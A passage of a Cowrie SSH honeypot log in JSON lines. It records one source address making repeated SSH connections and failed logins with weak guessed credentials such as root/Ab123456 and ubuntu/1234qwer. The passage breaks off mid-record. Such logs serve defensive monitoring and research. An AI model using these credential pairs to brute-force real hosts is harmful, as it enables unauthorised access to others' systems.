{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:32.951651Z","src_ip":"192.109.200.78","session":"b1b8a3ecdb52","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"martin","password":"123456","message":"login attempt [martin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:33.193794Z","src_ip":"192.109.200.78","session":"b1b8a3ecdb52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:33.995139Z","src_ip":"103.82.20.28","session":"3957e49c4261","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:34.347687Z","src_ip":"192.109.200.78","session":"b1b8a3ecdb52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":35496,"dst_ip":"10.17.0.5","dst_port":22,"session":"e312a661a76d","protocol":"ssh","message":"New connection: 192.109.200.78:35496 (10.17.0.5:22) [session: e312a661a76d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:36.121909Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:36.126412Z","src_ip":"192.109.200.78","session":"e312a661a76d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:36.207401Z","src_ip":"192.109.200.78","session":"e312a661a76d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"password","message":"login attempt [tester/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:36.454163Z","src_ip":"192.109.200.78","session":"e312a661a76d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:37.539524Z","src_ip":"192.109.200.78","session":"e312a661a76d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":35516,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a41967fc493","protocol":"ssh","message":"New connection: 192.109.200.78:35516 (10.17.0.5:22) [session: 3a41967fc493]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:39.537961Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:39.661587Z","src_ip":"192.109.200.78","session":"3a41967fc493","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:39.664803Z","src_ip":"192.109.200.78","session":"3a41967fc493","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:39.986216Z","src_ip":"192.109.200.78","session":"3a41967fc493","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:41.069568Z","src_ip":"192.109.200.78","session":"3a41967fc493","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":45592,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ce81040ef3e","protocol":"ssh","message":"New connection: 192.109.200.78:45592 (10.17.0.5:22) [session: 4ce81040ef3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:42.916862Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:42.920461Z","src_ip":"192.109.200.78","session":"4ce81040ef3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:43.003396Z","src_ip":"192.109.200.78","session":"4ce81040ef3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234qwer","message":"login attempt [ubuntu/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:43.246848Z","src_ip":"192.109.200.78","session":"4ce81040ef3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:44.330040Z","src_ip":"192.109.200.78","session":"4ce81040ef3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":45608,"dst_ip":"10.17.0.5","dst_port":22,"session":"59fbbde1da37","protocol":"ssh","message":"New connection: 192.109.200.78:45608 (10.17.0.5:22) [session: 59fbbde1da37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:46.127035Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:46.130900Z","src_ip":"192.109.200.78","session":"59fbbde1da37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:46.211373Z","src_ip":"192.109.200.78","session":"59fbbde1da37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"demo","password":"demo","message":"login attempt [demo/demo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:46.453737Z","src_ip":"192.109.200.78","session":"59fbbde1da37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:47.537421Z","src_ip":"192.109.200.78","session":"59fbbde1da37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":45612,"dst_ip":"10.17.0.5","dst_port":22,"session":"928f4b98e511","protocol":"ssh","message":"New connection: 192.109.200.78:45612 (10.17.0.5:22) [session: 928f4b98e511]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:49.518241Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:49.575689Z","src_ip":"192.109.200.78","session":"928f4b98e511","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:49.617841Z","src_ip":"192.109.200.78","session":"928f4b98e511","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rajvir","password":"rajvir123","message":"login attempt [rajvir/rajvir123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:49.922356Z","src_ip":"192.109.200.78","session":"928f4b98e511","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:51.005650Z","src_ip":"192.109.200.78","session":"928f4b98e511","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":46436,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f2f816110f8","protocol":"ssh","message":"New connection: 192.109.200.78:46436 (10.17.0.5:22) [session: 3f2f816110f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:52.807417Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:52.811097Z","src_ip":"192.109.200.78","session":"3f2f816110f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:52.891210Z","src_ip":"192.109.200.78","session":"3f2f816110f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"123456","message":"login attempt [openclaw/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:53.132299Z","src_ip":"192.109.200.78","session":"3f2f816110f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:54.216899Z","src_ip":"192.109.200.78","session":"3f2f816110f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":46438,"dst_ip":"10.17.0.5","dst_port":22,"session":"6235b48d025a","protocol":"ssh","message":"New connection: 192.109.200.78:46438 (10.17.0.5:22) [session: 6235b48d025a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:56.217271Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:56.224506Z","src_ip":"192.109.200.78","session":"6235b48d025a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:56.305443Z","src_ip":"192.109.200.78","session":"6235b48d025a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ab123456","message":"login attempt [root/Ab123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:56.549176Z","src_ip":"192.109.200.78","session":"6235b48d025a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:57.633150Z","src_ip":"192.109.200.78","session":"6235b48d025a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":46440,"dst_ip":"10.17.0.5","dst_port":22,"session":"3cd2fd0a37fb","protocol":"ssh","message":"New connection: 192.109.200.78:46440 (10.17.0.5:22) [session: 3cd2fd0a37fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:59.491120Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:36:59.496614Z","src_ip":"192.109.200.78","session":"3cd2fd0a37fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac